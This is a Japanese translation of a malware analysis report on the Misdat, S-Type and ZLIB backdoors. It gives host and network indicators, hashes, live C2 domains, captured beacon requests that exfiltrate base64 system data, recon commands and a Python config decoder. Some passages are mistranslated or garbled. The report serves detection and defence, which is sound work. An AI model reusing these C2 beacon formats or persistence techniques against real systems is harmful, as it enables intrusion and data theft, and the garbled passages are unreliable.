初期POSTリクエストは常にスタティック・ユーザーエージェント「FirefoxApp」を利用し、OS情報、ユーザー情報、いくつかのパーミションテスト結果、ファイルシステム、システム稼働可能時間を含みます。バックドアが返信を受け取らなかった場合には、GETリクエストのURIで同じベース64で暗号化された情報の交信を試みます。

```
Windows XP
{Hostname}/{Username}/Administrators
Create User Lost_e26331 Success.
Create Dir Success.
Write RegKey Error.
FileSystem : NTFS
System RunTime:0 day0 hours15 minutes
Count = 0
OpenScManager OK.
```

図12：上記の図にある、解読されたPOSTリクエストの内容

下記に明らかなように、後続リクエストはシステム上のディフォルトブラウザのユーザ・エージェントを利用していました。

```
GET /index.asp?mmid=e263314342d1f1b9 HTTP/1.1
Accept: */*
Accept-Language: en-us
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0;
.NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET CLR
1.1.4322)
Accept-Encoding: gzip, deflate
Host: mail.glkjcorp.com
Connection: Keep-AliveOpenScManager OK.
```

図13：後続のHTTPトラフィック

上記の図にあるid及びmmid欄は、どちらもミューテックス用に作成された固有識別名の最初の16文字を使用していました。Misdatプロトコルは本格的なバックドアの機能のほとんどを攻撃者に提供し、その間、セカンダリプロトコルは主にシステム上に更なるマルウェアを投入する更新メカニズムとして利用されたように思えます。

ネットワークベースのインジケータ

詳細

バックドアは「/ok」、「/Start」または「/fuck」の3つの異なるスイッチによって起動できます。これらのスイッチは、プロセスが作動するためのコンテクストと、一旦実行された場合にバイナリが自身を削除するかどうかに影響しました。

スイッチ	記述的目的	自己削除
/ok	アプリケーションを実行したユーザ（またはシステム）のコンテクストを利用した現在実行中のプロセス下で、マルウェアを直接実行しました。	No
/Start	アプリケーションを実行したあらゆるユーザ（またはシステム）のコンテクストのexplorer.exe下でマルウェアを実行しました。このスイッチは、レジストリ内に常駐化を設定した際にマルウェアによって利用されました。	No
/fuck	explorer.exeを作動しているユーザのコンテクストのexplorer.exe下でマルウェアの実行を強制しました（アクティブ・プロセスをスキャンし、エクスプローラ・プロセスの場所を特定しました）。	No
No	explorer.exe下で孤立プロセスとして作動するmsdtc.exeと呼ばれるプロセスの中でマルウェアを始動しました。	Yes

図14：バックドア用のコマンドライン実行スイッチの説明

システムにユーザーの追加ができるかどうか、%System%フォルダ内にディレクトリを作成できるかどうか、また「OpenSCManagerA」への呼び出しを通してユーザがサービスマネジャにアクセスできるかどうか等を含む、不正アクセスされたユーザの権限レベルを測定するために、バックドアはいくつかのテストの実行を試みました。

ユーザーテストは、NetUserAddおよびNetUserDel Windows APIsを用いて実行されました。このテストは、一時的なユーザー（「Lost-{Unique Identifier}」とそのパスワード（「fuck-!@6{Unique Identifier}」を作成することを試みました。二次的ネットワークプロトコルがアクティブになっていた場合は、、バックドアは、システム情報を収集するために、コマンド・インタプリタを経由して2つのコマンドを実行します：「cmd.exe /c ipconfig /all」 と 「cmd.exe /c net user {Username}」。ファイル「%AppData%\{Unique Identifier}\のHOSTRURKLSR」と「%AppData%\{Unique Identifier}\NEWERSSEMP”にこれらのコマンドの出力を"それぞれ一時的に書き出します。この情報は、base64で符号化され、GET要求のURI内にあるC2サーバに送信されました。S-Typeネットワークのプロトコルの詳細は以下で説明しています。注意すべきなのは、たとえ二次C2への通信が確立できた場合でも、バックドアはポート25の「smtp.adobekr.com」に対する誘導を継続するだろうという点です。

このバックドア内に含まれる設定情報は、図8で設定されている同一のスクリプトを使用して復号することができます。

ファイルの特性

SHA256	ネットワークコールバック	識別子
b1aed59dc59a4ef4c7d2b6e67983e4867 e04ba35c42372eb3b6ad969bd6a6041	一次: smtp.adobekr.com 二次: hxxp://mail.glkjcorp.com/index.asp TCPポート: 80, 443, 25	HLD
93c1c7a666833f5f68d2315dc014dc6c24 46c91c848130e228e84376b0aaf441	一次: smtp.adobekr.com 二次: hxxp://auto.glkjcorp.com/us/index.asp TCPポート: 80, 443, 25	GKB

図15：サンプルにおける二次c2サーバおよびキャンペーン識別子

S-TYPE BACKDOOR (2013-2014)

Misdatと　S-Typeバックドアのハイブリッドを使い実験した後、砂嵐大作戦は2013年に、初期のMisdatネットワークプロトコルを完全に放棄しました。これはおそらく、コマンドと制御のHTTPベースプロトコルの実証された有効性の直接的な結果か、または単により多くの企業のWebベースのプロキシ活用に適応するものです。識別されたすべてのサンプルは、Borland　Delphiを使いプログラムされており、一般的なバックドア機能を実施するためカスタムクラスを利用しています。2013年に識別されたほとんどのSPEARサンプルはUPXバージョン3.03で充填されましたが、後の2014変異体はこの方法を取りませんでした。

ファイルの特性

SHA256	ファイルサイズ	リソースコンパイル時間
83399bd0e09b2c2886a58890bbbf6a8d 4e6cd3aa32b091045dd6739c637acfd5	32,768 Bytes	HLD

図 16: S-Typeバックドアのファイル特性

ホストベースインディケータ—

揮発性の証拠：

- May create a Mutexという「{Unique Identifier}_KB10B2D1_CIIFD2C」を作成することができる
- パスワード「pond~!@6」{Unique Identifier}でシステムに「Lost_{Unique Identifier}」という名前に一時ユーザーを作成することができる
- 仮のフォルダー%System%\{Unique Identifier}を作成することができる

ファイルシステムの変更：

- %Appdata%\{Unique Identifier\msdtc.exeが使われている変異体が観察されている時バックドア自体が%CommonFiles%\{Unique Identifier}\msdtc.exeにコピーします
- ファイル、 %HOMEPATH%\Start Menu\Programs\Startup\Realtek {Unique Identifier}.lnkを作成することができます
  - このショートカットは、「/Start」スイッチで%CommonFiles%のmsdtc.exeを指します
- %temp% で終わる一時ファイル名を%のの \{random numbers}.tmpに一時ファイルを作成することができます

登録変更:

- 登録キー、HKCU\SOFTWARE\AdobeSoftを一時的に作成します
- 登録キー、HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\ IMJPMIJ8.1{Unique Identifierの3文字}を作成することができます
- 登録キーを作成することができます:
  - HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\Domains\ssl.projectscorp.net\http
  - HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\Domains\ssl.projectscorp.net\https

ネットワークベースインディケータ

バックドアは、主にポート80の「ssl.projectscorp.net」と「pic.elecarrow.com」に通信されました。す。最初の通信が失敗した場合、通信はまた、ポート443または8080にフォールバックします。C2サーバとの通信にHTTPを使用するバックドア；データは、GET要求のURIで符号化されたかbase64に送信されたか、POSTリクエストのボディに送信されました。これは、最初の要求で「FirefoxApp」と「Mozilla/4.0 (互換性; MSIE 8.0; Windows NT 5.1; SV1)」の2つのハードコードされたユーザーエージェント、および以降の通信では、システムのデフォルトのUser-Agentに使用されました。

HTTP要求の例は下記の図に示されています。

```
POST hxxp://pic.elecarrow.com:80//Item/2016757.aspx HTTP/1.1
Accept: */*
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; SV1)
Host: pic.elecarrow.com:80
Content-Length: 93
Connection: Keep-Alive
Cache-Control: no-cache

POST /pic/index.asp HTTP/1.1
Accept: Accept: */*, /pic/index.asp, ssl.projectscorp.net
Content-Type: application/x-www-form-urlencoded
User-Agent: FirefoxApp
Host: ssl.projectscorp.net
Content-Length: 354
Cache-Control: no-cache

id=E8C465FC&type=post&stype=info&data=VVNFUi1ENjkyMUY2MjE1fFdpbmRvd-
3MgWFAvQWRtaW5pc3RyYXRvcnwxzOwyM9ChyrE0M7fWfFRaLTEzMTAxM3wNClVTRVIt-
RDY5MjFGNjIxNS9BZG1pbmlzdHJhdG9yL0FkbWluaXN0cmF0b3JzDQpDcmVhdGUgVXNl-
ciBFcnJvci4gMA0KQ3JlYXRlIERpcmVjdG9yeSBTdWNjZXNzLg0KT3BlblNjTWFuYWdl-
ciBPSy4NCkZpbGVTeXN0ZW0gOiBOVEZTDQpObyBBdXRvQ29uZmlnVVJMLg0KTm8gUHJveHlB-
ZGRyZXNzLg==
```

図 17: S-Type/バックドアにより送信された初期POST要求

```
GET /pic/index.asp?id=E8C465FC&type=ie&stype=info&data=VVNFUi1ENjkyMUY2M-
jE1fFdpbmRvd3MgWFAvQWRtaW5pc3RyYXRvcnwxzOwyM9ChyrE0M7fWfFRaLTEzMTAxM3wNClVTR-
VItRDY5MjFGNjIxNS9BZG1pbmlzdHJhdG9yL0FkbWluaXN0cmF0b3JzDQpDcmVhdGUgVXN-
lciBFcnJvci4gMA0KQ3JlYXRlIERpcmVjdG9yeSBTdWNjZXNzLg0KT3BlblNjTWFuYWdlciBPSy4N-
CkZpbGVTeXN0ZW0gOiBOVEZTDQpObyBBdXRvQ29uZmlnVVJMLg0KTm8gUHJveHlBZGRyZXNzLg==
HTTP/1.1
Accept: */*
Accept-Language: en-us
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0;
.NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET CLR
1.1.4322)
Accept-Encoding: gzip, deflate
Host: ssl.projectscorp.net
Connection: Keep-Alive

GET /pic/index.asp?mmid=E8C465FC HTTP/1.1
Accept: */*
Accept-Language: en-us
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0;
.NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET CLR
1.1.4322)
Accept-Encoding: gzip, deflate
Host: ssl.projectscorp.net
Connection: Keep-Alive
```

図 18: Sample Get Requests Sent by the S-Type/バックドアにより送信されたサンプル取得要求

```
{Hostname}|Windows XP/{Username}|1??23Cʰ43??|TZ-131013|
{Hostname}/{Username}/Administrators
Create User Error. 0
Create Directory Success.
OpenScManager OK.
FileSystem : NTFS
No AutoConfigURL.
No ProxyAddress.
```

図 19：上記の図の複合されたデータパラメータ

バックドアは侵入したユーザーの特権レベルを決定するために、ユーザーがシステムに追加されるか、%System% フォルダにディレクトリを作成するか、ユーザーはサービスマネジャーにアクセスできるかなど数回のテストを実行しようとします。この情報は、ファイルシステムの種類とインターネットにアクセスするために必要なプロキシ情報と共に送信されます。バックドアはまた、URIで下記の変数を持つネットワーク要求を行うことができます。「&type=ie&」、「stype=info&data=」、「stype=srv&data=」、「stype=con&data=」、「stype=user&data=」、「mmid=」、「&type=post&stype=」、または「&status=」。

詳細

前述のDustStormのバックドアと同様の方法で、このケースでは、被害者が「GetKeyboardType」APIを使用して日本語キーボードを使用していたかどうかを検出しようとしました。バックドア自体は攻撃者は、シェルコマンドを実行し、システムとネットワークの情報を列挙し、ファイルを操作し、任意のファイルをダウンロードし実行する能力を提供しました。初期の観察では、これは主に、その後フル機能を備えたバックドアに対する攻撃者によってアップグレードされたプラットフォームだったことを示唆しています。

バックドアはまず、上記で説明したNetUserAdd APIを使用して、ユーザー「Lost_{Unique Identifier}」およびパスワード「pond~!@{Unique Identifier}を使用してユーザーをシステムに追加するという初期テストを行いました。；もしこれがうまくいけば、NetUserDel APIを経由してユーザーが削除されます。バックドアは、その後、CreateDirectory APIを使用してフォルダ「%System%\{Unique Identifier}」を作成し、RemoveDirectoryW APIを使用して削除しようとしました。これら二つのテストが完了したら、「OpenSCManagerA」を呼び出しでWindowsサービスコントロールマネージャにアクセスしようとしました。初期POST要求を介したファイルシステムの情報およびプロキシとこの情報が一緒に通信されると、バックドアはシステムとローカルネットワークに関する情報を列挙するために一連のコマンドを実行しようとしました。

```
"net start"
"Ipconfig /all"
"net user" or "net user /domain" depending on the value of %USERDNSDOMAIN%
```

図 20：バックドアによりシステムの実行された初期コマンド

これらのコマンドの結果は、URI内のデータパラメタ（「/pic/index.asp?id={Unique_Idnetifier)&type=ie&stype=info&data)」としてbase64で符号化されます。これらのコマンドの結果がC2サーバーに返送されると、バックドアは引き続きURI「/pid/index.asp?mmid={Unique Identifier}」に誘導しようとし続け、実行コマンドまたは更新バイナリがダウンロードされ実行されるのを待ちます。C2からダウンロードされたフィアルのすべてはbase64で符号化され、「{Unique Identifier}.txt」というファイル名を持ちます。ファイルがバイナリの場合は、ディスクに「tmp.exe」として書き込まれ、WinExecにより実行されます。バックドアはその後、C2に対して、攻撃が成功した場合は「&status=run succeed」、失敗した場合は「&status=Error Code」と通信します。

上記の「{Unique Identifier}」とは、8文字のHEX文字列であり、Cドライブのボリュームシリアル番号（Cドライブがない場合はDドライブ）と、バックドアの符号化構成データの冒頭の0x90バイトのCRC32ハッシュによって産出されます。これは、当該ドライブのシリアル番号を割り出すことが可能であるという意味で、初期のMisdat変異体とは大きく異なっています。バックドアは、オフセット0xE9FCにより構成情報を判読します。最初の4バイトを無視し、その後各バイトから0x2をマイナスし、その結果の数値を構成ブロック（この場合は0x58）の最初の1バイトでXOR変換します。

```
0000E9F0                                                 58 2C 74 14            X,t.
0000EA00   73 32 2E 2E 2A 64 79 79  2D 2D 36 78 2A 2C 39 34   s2..*dyy--6x*,94
0000EA10   3F 3D 2E 2D 3D 39 2C 2A  78 38 3F 2E 79 2A 33 3D   ?=.-=9,*x8?.y*3=
0000EA20   79 33 38 3E 3F 22 78 3B  2D 2A 5A 5A 5A 5A 5A 5A   y38>?"x;-*ZZZZZZ
0000EA30   5A 5A 5A 5A 4B 2A 33 3D  78 3F 36 3F 3D 3B 2C 2C   ZZZZK*3=x?6?=;,,
0000EA40   39 31 78 3D 39 37 5A 5A  5A 5A 5A 5A 5A 5A 5A 5A   91x=97ZZZZZZZZZZ
0000EA50   5A 5A 5A 5A 0A 5A E5 5B  CA 49 5A 5A 5A 5A 5A 5A   ZZZZ.Zå[ÊIZZZZZZ
0000EA60   5A 5A 5A 5A 5A 5A 5A 5A  5A 5A 5A 5A 5A 5A 5A 5A   ZZZZZZZZZZZZZZZZ
0000EA70   5A 5A 5A 5A 5A 5A 5A 5A  5A 5A 5A 5A 5A 5A 5A 5A   ZZZZZZZZZZZZZZZZ
0000EA80   5A 5A 5A 5A 43 4F D3 5A  5A 5A 5A 5A 5A 5A 5A 5A   ZZZZCOÓZZZZZZZZZ
```

図 21：符号化された設定ブロック

```
0000EA00   29 68 74 74 70 3A 2F 2F 73 73 6C 2E 70 72 6F 6A  )hxxp://ssl.proj
0000EA10   65 63 74 73 63 6F 72 70 2E 6E 65 74 2F 70 69 63  ectscorp.net/pic
0000EA20   2F 69 6E 64 65 78 2E 61 73 70 00 00 00 00 00 00  /index.asp......
0000EA30   00 00 00 00 11 70 69 63 2E 65 6C 65 63 61 72 72  .....pic.elecarr
0000EA40   6F 77 2E 63 50 00 BB 01 90 1F 00 00 00 00 00 00  ow.com.P.»..□.....
0000EA50   00 00 00 00 50 00 BB 01 90 1F 00 00 00 00 00 00  ....P.».□.......
0000EA60   00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
0000EA70   00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
0000EA80   00 00 00 00 19 15 89 00 00 00 00 00 00 00 00 00  ......‰.........
```

図 22：復号化された設定ブロック

復号化されたブロックの文字列はすべて、HEX変換された各自の長さが冒頭に付け加えられています。URL「hxxxp://ssl.projectscorp.net/pic/index.asp」およびドメイン「pic.elecarrow.com」に加え、ポート80、443、8080への誘導を試みたポートはそれぞれ緑色、水色、紫色でハイライト指定されています。これらの構成ブロックの復号化には、以下のPythonの関数を使用することができます。

```
def sub_single_byte_xor(buf,subb, key):
    out = ''
    for i in buf:
        out += chr((ord(i)-subb) ^ key)
    return out
sub_single_byte_xor(buf,0x2,0x58)
```

図 23：復号化 w-Type設定データへのPythonスクリプト

ZLIB バックドア (2014-2015)

このバックドアは、2014年と2015年を通してグループが優先する第二段階のインプラントでした。マルウェアはServiceDLLとして実行するように設計されたNTLM組み込みのプロキシ認証をサポートしたフル機能のバックドアでした。識別された各サンプルのSPEARは、特定の被害者の環境に合わせてMicrosoft Visual C++6を使用するプログラムにカスタマイズされました。その結果、私たちのチームは、被害者の情報を編集するように変更されたサンプルのハッシュを含んでいました。SPEARは、他の被害者が事故を識別できるようにできるだけ多くの情報として提供してきました。

ファイルの特性

Modified SHA256	ファイルサイズ	Compile Time
73bc9650ab7871340ef1a6f68dfa71a650 2b9d9bee85181666da17a63a74178a	143,872 Bytes	1/23/2015 3:22:25 UTC
8cf3152169f3d7e05734b6b562752a0 0d566c4ea830c455ea094fa19dec4423c	136,702 Bytes	1/05/2015 01:14:50 UTC
bbc6d1b87352c3ae109b2c6c97baaf75 6b66378b6af8dbd7387229d04fc0b14	134,144 Bytes	1/16/2015 3:21:31 UTC
b4405f0caff1b786612aabbaa7431993f 44c83a2c8f8c0946a980da9c0c09156	108,032 Bytes	1/23/2015 3:23:06 UTC
85b80ed2aa871257f293a074d80eb64a 621ec74ec70c0cf1703f5f5adab23a67	113,664 Bytes	1/05/2015 01:18:15 UTC

図24：共有可能なファイル特性

追加ファイル詳細；

- DriverDev, DriverInit, DriverLaunch, DriverProc機能のエクスポート
- 正当なRealtekの半導体モジュール、またはNvidiaモジュール、またはシSynapticsモジュールのリソースバージョン情報を模倣する
- PE ゼロのチェックサム

ホストベースインディケータ

ファイルシステム変更：

- すべての観察されたバックドアの位置:
  - %WINDIR%\system32\cryptpol.dll
  - すべてのユーザー %AppData%\cryptpol.dll
  - すべてのユーザー %AppData%\wdd.ocx
  - すべてのユーザー %AppData%\athmgmt.dll
  - すべてのユーザー %AppData%\rasctl.dll
  - すべてのユーザー %AppData%\rtcomdll.dll
  - すべてのユーザー %AppData%\msnt.dll
- tmpで終わる一時ファイル名を%のAppData%に作成することができます
- 「tmp」の文字で始まる一時ファイルを %temp% ディレクトリに作成することができます

登録変更：

- バックドアのエクスポートされた機能を指摘するServiceMainの再定義を含む、ServiceDLLとして実行しバックドアを設定するための必要なキーを作成します。すべての観察された名前は以下の通りです。
  - CryptPol – 暗号化ポリシー制御サービス（Cryptography Policy Control Service）
  - AtherosMgMt – アセロス・コミュニケーションズ管理サービス（Atheros Communications Management Service）
  - WDDSVC – ウインドウディスプライドライバ（Windows Display Driver）
  - RASCtrl – リモートアクセスコントロールセンター（Remote Access Control Center）

ネットワークベースインディケータ

バックドアは、HTTP POSTとGET要求を経由して、事前に設定されたC2サーバに通信します。通信の内容は標準Zlib圧縮ラライブラリ(http://www.zlib.net/)を使い圧縮されます。SPEARの限定的なテストにおいて、User-Agentは常に静的で "Mozilla/4.0（互換; MSIE6.0; Windows NTの5.1; SV1）」に設定されます。

```
POST /EKTV/index.php?id=0 HTTP/1.1
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)
Host: bcsr.wordoscorp.com
Accept: */*
Cache-Control: no-cache
Connection: Keep-Alive
Content-Length: 498

POST /EKTV/index.php?id=3580792616 HTTP/1.1
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)
Host: bcsr.wordoscorp.com
Accept: */*
Cache-Control: no-cache
Connection: Keep-Alive
Content-Length: 490
```

図25：バックドアにより送信された初期POST要求

```
00000000  1C 12 00 00 1E 12 00 00 FF FF FF FF 40 05 00 00   ........ÿÿÿÿ@...
00000016  FE CD 18 9C 55 00 53 00 45 00 52 00 2D 00 44 00   þÍ.œU.S.E.R.-.D.
00000032  36 00 39 00 32 00 31 00 46 00 36 00 32 00 31 00   6.9.2.1.F.6.2.1.
00000048  35 00 00 00 DA D2 90 7C DC FF B8 00 20 E9 90 7C   5...ÚÒ□|Üÿ¸. é□|

00000064  68 F6 90 7C FF FF FF FF 61 F6 90 7C EE D4 DD 77   hö□|ÿÿÿÿaö□|îÔÝw

00000080  00 00 00 00 E0 CC B8 00 00 00 00 00 F9 D4 DD 77   ....àÌ¸.....ùÔÝw
00000096  00 00 00 00 00 00 00 00 FC 00 00 00 00 00 00 00   ........ü.......
00000112  20 00 00 00 00 00 00 00 9E 7E E5 14 52 55 D1 01    .......ž~å.RUÑ.
00000128  00 00 00 00 10 00 00 00 53 00 2D 00 31 00 2D 00   ........S.-.1.-.

00000144  35 00 2D 00 9C B2 B8 00 6E D9 90 7C DC B1 B8 00   5.-.œ²¸.nÙ□|Ü±¸.

00000160  98 B1 B8 00 5C F6 90 7C 61 F6 90 7C DC B1 B8 00   ˜±¸.\ö□|aö□|Ü±¸.

00000176  6E D9 90 7C 9C B2 B8 00 74 B1 B8 00 7A D9 90 7C   nÙ□|œ²¸.t±¸.zÙ□|

00000192  DC FF B8 00 20 E9 90 7C 68 F6 90 7C FF FF FF FF   Üÿ¸. é□|hö□|ÿÿÿÿ

00000208  61 F6 90 7C EB 6F DD 77 34 00 00 C0 00 00 00 00   aö□|ëoÝw4..À....

00000224  D4 BA B8 00 F6 6F DD 77 C0 B2 B8 00 00 01 00 00   Ô°¸.öoÝwÀ²¸.....
00000240  B8 B2 B8 00 B0 B2 B8 00 00 01 00 00 D4 BA B8 00   ¸²¸.°²¸.....Ô°¸.
00000256  DC B1 B8 00 00 00 00 00  00 00 00 00 00 00 00 00   Ü±¸.............

00000272  34 00 00 C0 0C B2 B8 00  5C F6 90 7C 61 F6 90 7C   4..À.²¸.\ö□|aö□|

00000288  00 00 00 00 8C B2 B8 00  2D F6 90 7C E8 B1 B8 00   ....Œ²¸.-ö□|è±¸.

00000304  EC B1 B8 00 54 B2 B8 00  20 E9 90 7C 68 F6 90 7C   ì±¸.T²¸. é□|hö□|
```

(続く)

```
00000320   FF FF FF FF 61 F6 90 7C  4E 6A DD 77 87 6A DD 77   ÿÿÿÿaö□|NjÝw‡jÝw

00000336   D4 B2 B8 00 03 00 00 80  FC 00 00 00 18 00 00 00   Ô²¸....€ü.......
00000352   FC 00 00 00 8C B2 B8 00  40 00 00 00 00 00 00 00   ü...Œ²¸.@.......
00000368   00 00 00 00 8A 00 8A 00  D4 B2 B8 00 88 B2 B8 00   ....Š.Š.Ô²¸.ˆ²¸.
00000384   00 00 00 00 18 B2 B8 00  84 B2 B8 00 DC FF B8 00   .....²¸.„²¸.Üÿ¸.

00000400   78 17 DF 77 90 6A DD 77  FF FF FF FF 87 6A DD 77   x.ßw□jÝwÿÿÿÿ‡jÝw

00000416   95 6B DD 77 13 BD 00 00  A8 B2 B8 00 8B 70 DD 77   •kÝw.½..¨²¸.‹pÝw
00000432   00 01 00 00 9C B2 B8 00  C0 B2 B8 00 D4 BA B8 00   ....œ²¸.À²¸.Ô°¸.
00000448   B8 B2 B8 00 B0 B2 B8 00  00 08 00 00 72 00 00 00   ¸²¸.°²¸.....r...

00000464   00 00 00 00 1A 00 1C 00  FA CF 90 7C 03 6C DD 77   ........úÏ□|.lÝw
00000480   00 01 00 00 00 00 00 00  BC B2 B8 00 AB 6C DD 77   ........¼²¸.«lÝw
00000496   C4 B2 B8 00 A8 CD B8 00  7A DD 00 10 00 00 00 00   Ä²¸.¨Í¸.zÝ......
00000512   58 FC B3 00 70 50 02 10  00 00 00 00 53 00 2D 00   Xü³.pP......S.-.
00000528   31 00 2D 00 35 00 2D 00  31 00 38 00 89 5D 95 10   1.-.5.-.1.8.‰]•.
00000544   1C 01 00 00 05 00 00 00  01 00 00 00 28 0A 00 00   ............(...
00000560   02 00 00 00 53 00 65 00  72 00 76 00 69 00 63 00   ....S.e.r.v.i.c.
00000576   65 00 20 00 50 00 61 00  63 00 6B 00 20 00 33 00   e. .P.a.c.k. .3.
00000592   00 00 5C 00 43 00 75 00  72 00 72 00 65 00 6E 00   ..\.C.u.r.r.e.n.

00000608   74 00 56 00 65 00 72 00  73 00 69 00 6F 00 6E 00   t.V.e.r.s.i.o.n.
00000624   5C 00 49 00 6E 00 74 00  65 00 72 00 6E 00 65 00   \.I.n.t.e.r.n.e.
00000640   74 00 20 00 53 00 65 00  74 00 74 00 69 00 6E 00   t. .S.e.t.t.i.n.
00000656   67 00 73 00 00 00 00 00  00 00 00 00 00 00 00 00   g.s.............
---Truncated---
00000816   00 00 00 00 03 00 00 00  00 01 01 00 00 00 00 00   ................
00000832   53 00 59 00 53 00 54 00  45 00 4D 00 00 00 00 00   S.Y.S.T.E.M.....
--Truncated---
00001264   00 00 00 00 00 00 00 00  00 00 00 00 E0 B5 B8 00   ............àµ¸.
00001280   99 51 91 7C 08 B6 B8 00  E4 00 08 00 04 00 00 00   ™Q'|.¶¸.ä.......
00001296   D4 00 08 00 00 00 08 00  20 B6 B8 00 8B 53 91 7C   Ô....... ¶¸.‹S'|
00001312   08 B6 B8 00 D4 00 08 00  00 00 00 00 10 00 00 00   .¶¸.Ô...........

00001328   00 00 00 00 A4 B6 B8 00  7A CF 90 7C 7B 8B 91 7C   ....¤¶¸.zÏ□|{‹'|

00001344   FF FF FF FF 40 B6 B8 00  01 00 00 00 D7 07 00 00   ÿÿÿÿ@¶¸.....×...
```

図 26: 初期POST要求の解凍内容

ホスト名、バックドアが作動したコンテクスト、オペレーティングシステム情報、およびユーザー情報が、制御されたテストにおいてC2に返信されました。

詳細

{UT1}事例証拠は、攻撃者が自身のバックドアにいくつかの変更を行い、必要に応じて、単に設定情報を更新したことを示唆しています。その結果、識別されたバックドアのほとんどにおいて、示された値と計算値との間にPEチェックサムの不一致がありました。バックドアは、攻撃者に対し、ファイルのアップロードやダウンロードを実施したり、ファイルやドライブ、システム情報を列挙し、Windowsサービスを操作し、ログオンセッション、模倣キーストロークやマウス入力、キャプチャスクリーンショットを偽装し、シェルコマンドを実行する能力を提供しました。

バックドア自体は、インポートテーブルを除けば、非常に少ないユニークなプレーンテキスト文字列またはその他の情報を特定する種類を含んでいました。バックドアは、一度に1つの文字を押すことで、スタック上の対象の文字列を初期化します。この方法は、ウィルスのヒューリスティック手法を回避するために、マルウェア作成者の間でますます一般的になってきました。バックドアの設定情報は、保存された圧縮データのサイズを2文字としてヘッダ「0x78 0x9C」の前方に置いたバイナリとして、圧縮されたZlibに保存されていました。解凍されたデータは、Windowsサービス名、Windowsの表示 名、およびサービスの説明が含まれていました。

また、バックドアが使用するファイル名、誘導するためのドメイン名とポート、および使用する社内のプロキシが含まれていました。

```
00000000   43 00 72 00 79 00 70 00  74 00 50 00 6F 00 6C 00   C.r.y.p.t.P.o.l.
--Truncated---
00000060   00 00 00 00 43 00 72 00  79 00 70 00 74 00 6F 00   ....C.r.y.p.t.o.
00000070   67 00 72 00 61 00 70 00  68 00 79 00 20 00 50 00   g.r.a.p.h.y. .P.
00000080   6F 00 6C 00 69 00 63 00  79 00 20 00 43 00 6F 00   o.l.i.c.y. .C.o.
00000090   6E 00 74 00 72 00 6F 00  6C 00 20 00 53 00 65 00   n.t.r.o.l. .S.e.
000000A0   72 00 76 00 69 00 63 00  65 00 00 00 00 00 00 00   r.v.i.c.e.......
000000B0   00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00   ................
--Truncated---
00000120   00 00 00 00 00 00 00 00  00 00 00 00 50 00 72 00   ............P.r.
00000130   6F 00 76 00 69 00 64 00  65 00 20 00 74 00 68 00   o.v.i.d.e. .t.h.
00000140   65 00 20 00 70 00 6F 00  6C 00 69 00 63 00 79 00   e. .p.o.l.i.c.y.
00000150   2D 00 62 00 61 00 73 00  65 00 64 00 20 00 62 00   -.b.a.s.e.d. .b.
00000160   61 00 73 00 69 00 63 00  20 00 63 00 72 00 79 00   a.s.i.c. .c.r.y.
00000170   70 00 74 00 6F 00 67 00  72 00 61 00 70 00 68 00   p.t.o.g.r.a.p.h.
00000180   79 00 20 00 73 00 65 00  72 00 76 00 69 00 63 00   y. .s.e.r.v.i.c.
00000190   65 00 2E 00 49 00 66 00  20 00 74 00 68 00 69 00   e...I.f. .t.h.i.
000001A0   73 00 20 00 73 00 65 00  72 00 76 00 69 00 63 00   s. .s.e.r.v.i.c.
000001B0   65 00 20 00 69 00 73 00  20 00 73 00 74 00 6F 00   e. .i.s. .s.t.o.
000001C0   70 00 70 00 65 00 64 00  2C 00 20 00 74 00 68 00   p.p.e.d.,. .t.h.
000001D0   65 00 20 00 63 00 72 00  79 00 70 00 74 00 6F 00   e. .c.r.y.p.t.o.
000001E0   67 00 72 00 61 00 70 00  68 00 79 00 20 00 70 00   g.r.a.p.h.y. .p.
000001F0   6F 00 6C 00 69 00 63 00  79 00 20 00 63 00 6F 00   o.l.i.c.y. .c.o.
00000200   6E 00 74 00 72 00 6F 00  6C 00 20 00 73 00 65 00   n.t.r.o.l. .s.e.
00000210   72 00 76 00 69 00 63 00  65 00 20 00 77 00 69 00   r.v.i.c.e. .w.i.
00000220   6C 00 6C 00 20 00 6E 00  6F 00 74 00 20 00 66 00   l.l. .n.o.t. .f.
00000230   75 00 6E 00 63 00 74 00  69 00 6F 00 6E 00 20 00   u.n.c.t.i.o.n. .
00000240   70 00 72 00 6F 00 70 00  65 00 72 00 6C 00 79 00   p.r.o.p.e.r.l.y.
00000250   2E 00 20 00 00 00 00 00  00 00 00 00 00 00 00 00   .. ............
---Truncated---
00000380   00 00 00 00 43 00 72 00  79 00 70 00 74 00 50 00   ....C.r.y.p.t.P.
00000390   6F 00 6C 00 2E 00 64 00  6C 00 6C 00 00 00 00 00   o.l...d.l.l.....
---Truncated---
00000580   00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00   ................
00000590   62 63 73 72 2E 77 6F 72  64 6F 73 63 6F 72 70 2E   bcsr.wordoscorp.
000005A0   63 6F 6D 00 00 00 00 00  00 00 00 00 00 00 00 00   com.............
---Truncated---
00000680   00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 73   ...............s
00000690   50 00 00 00 6A 6E 68 73  2E 74 6F 6D 73 68 61 72   P...jnhs.tomshar
000006A0   64 70 63 2E 63 6F 6D 00  00 00 00 00 00 00 00 00   dpc.com.........
---Truncated---
00000780   00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00   ................
00000790   00 00 00 FF BB 01 00 00  4B 54 56 59 00 EE 12 00   ...ÿ»...KTVY.î..
000007A0   5F F1 C1 54 C8 AF 00 00  D7 07 00 00 01 00 00 00   _ñÁTÈ¯..×.......
